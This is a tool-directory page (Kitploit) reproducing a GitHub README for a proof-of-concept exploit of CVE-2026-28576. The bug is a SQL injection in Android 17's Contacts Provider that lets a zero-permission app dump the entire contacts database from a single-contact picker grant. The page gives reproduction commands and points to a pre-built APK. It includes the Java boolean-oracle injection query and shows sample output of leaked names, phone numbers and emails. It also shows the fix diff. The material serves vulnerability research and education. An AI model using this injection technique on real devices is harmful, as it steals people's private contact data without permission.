Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-28576-poc — Educational proof-of-concept demonstrating a SQL injection vulnerability in Android 17's Contacts Provider, allowing a zero-permission app to exfiltrate the entire contacts database via a single-contact URI grant. | Kitploit
Tools/GitHubGitHub/mobilehackinglab/cve-2026-28576-poc
Android SecurityVulnerability AnalysisExploitationWeb Application ExploitationMobile SecurityPapers & ResearchLearning & Education
GitHubmobilehackinglab/cve-2026-28576-poc

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-28576-poc

Educational proof-of-concept demonstrating a SQL injection vulnerability in Android 17's Contacts Provider, allowing a zero-permission app to exfiltrate the entire contacts database via a single-contact URI grant.

View Repository
4421271 month agoReviewed by Kitploit

CVE-2026-28576: SQL Injection in the Android Contacts Provider

One picked contact, every contact: a targetSdk compat gate turns a single-contact picker grant into a full contacts database dump.

Android 17 hardened the Contacts Provider against SQL injection with setStrictColumns() / setStrictGrammar() — but shipped the hardening behind a targetSdk-gated compat change (ENFORCE_STRICT_SQL_CHECKS, id 484953293, enableAfterTargetSdk="36"). Any app targeting SDK 36 or lower silently skips the strict checks, and can hide boolean-oracle subqueries in the query selection to read the entire contacts database through a single-contact URI grant. No READ_CONTACTS, no permissions at all.

Note: We did not discover this vulnerability. This repository contains our independent analysis, reproduction, and educational PoC to help the security community understand the bug class: security fixes gated behind @EnabledAfter(targetSdkVersion) leave every legacy-target app on the vulnerable path.

CVECVE-2026-28576 (GHSA-ph86-9mcx-3p6r)
SeverityHigh in the bulletin; GitHub's advisory scores it CVSS v4 10.0 (Critical) — arguably high given the preconditions
ComponentContacts Provider (ContactsProvider2.queryLocal())
Root CauseENFORCE_STRICT_SQL_CHECKS compat change gated behind @EnabledAfter(BAKLAVA)
ImpactAny app with a single-contact URI grant reads the entire contacts database without READ_CONTACTS
AffectedAndroid 17, security patch level < 2026-07-01
PatchedAndroid 17 Security Bulletin

Full write-up with screenshots and demo video: SQL Injection Still Exists, Even in Android: One Picked Contact, Every Contact (CVE-2026-28576)

Repository Contents

├── poc/                        # PoC exploit app (UI + system contact picker)
│   ├── src/                    # MainActivity.java — picker + boolean-oracle exploit
│   ├── AndroidManifest.xml     # ZERO permissions, targetSdk 36
│   └── build.sh                # Build without gradle: aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk      # Pre-built PoC APK (debug-signed, ready to install)
├── REPRODUCE.md                # Full step-by-step reproduction guide
├── evidence-*.log              # Captured vulnerable / patched runs
└── README.md

Setting Up the Test Environment

You need an Android 17 emulator with a security patch level before 2026-07-01 (we used AVD A17-Userdebug, sdk_gphone16k_arm64-userdebug 17 CP31.260623.012, SPL 2026-07-05 — a beta image that still carries the vulnerable compat gate).

emulator -avd A17-Userdebug -writable-system -no-snapshot &

# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch

# Insert a few victim contacts (as shell, which holds contacts permissions)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
    --bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
    --bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
    --bind data1:s:'Alice Victim'"

See REPRODUCE.md for the full contact seeding and both run variants.

Quick Start

Option 1: Pre-built APK with the real system picker (recommended)

adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity

On screen:

  1. Tap "1) Pick ONE contact (system picker)" — the system picker opens; the app never sees your contact list. Pick any contact.
  2. The app shows the real system-issued grant (checkUriPermission -> 0) and the one contact it is legitimately allowed to see.
  3. Tap "2) Exploit: read ALL contacts" — the boolean-oracle injection dumps every name, phone number, and email in the database (~10 s for 9 rows).

Option 2: Build from source

Requires Android SDK (build-tools 36.0.0, platform android-37.0) and a JDK 17. No gradle needed:

./poc/build.sh       # -> poc/build/cve-2026-28576-poc.apk  (targetSdk 36, NO permissions)

How It Works

  1. The grant layer works fine. Android 17's contact picker hands the app a read-only URI grant for exactly one contact: content://com.android.contacts/contacts/lookup/<key>/1. Directly querying anything else is refused with a SecurityException.

  2. The SQL layer does not. Because the PoC targets SDK 36, CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) returns false and the provider skips setStrictColumns() / setStrictGrammar(). The always-on setStrict(true) parenthesis-wrapping only stops clause breakouts like ') OR 1=1 --; it does nothing about balanced subqueries.

  3. Boolean-oracle injection. The app issues an ordinary-looking query against its granted URI with a subquery hidden in the selection:

    contentResolver.query(grantedUri, new String[]{"_id"},
        "1 AND (SELECT substr(data1,3,1) FROM data"
            + " WHERE mimetype_id=(SELECT _id FROM mimetypes"
            + " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
            + " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
    

    If the guessed character matches, the granted row comes back (cursor.getCount() == 1); otherwise the cursor is empty. One query per character guess, iterated over LIMIT 1 OFFSET k for every row and mimetype — a phone number falls in under a second, and the whole database in well under a minute.

Result

On a vulnerable Android 17 build, the zero-permission app exfiltrates all names, phone numbers, and emails through a grant for a single contact (see evidence-picker-run.log):

What I am ALLOWED to see: Alice Victim  (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name  #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...

How It Was Fixed

The fix flips change 484953293 to apply to all callers regardless of targetSdk — a single deleted annotation (public variant: GrapheneOS commit c4129a1c):

     @ChangeId
-    @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
     public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;

You can reproduce the exact patched behavior on a vulnerable build without flashing anything:

adb shell am compat enable 484953293 com.poc.cve202628576
# Same query now dies before reaching SQLite:
# IllegalArgumentException: Invalid token SELECT

See evidence-patched-run.log.

References

  • Blog post: full analysis, PoC walkthrough, and demo video
  • Android 17 Security Bulletin
  • CVE-2026-28576 — NVD
  • GHSA-ph86-9mcx-3p6r — GitHub Advisory Database
  • GrapheneOS fix commit
  • SQLiteQueryBuilder.setStrictGrammar() — Android SDK reference

Credits

Analysis and PoC by Mobile Hacking Lab. We reproduced this vulnerability independently for educational purposes.

Disclaimer

Download Tool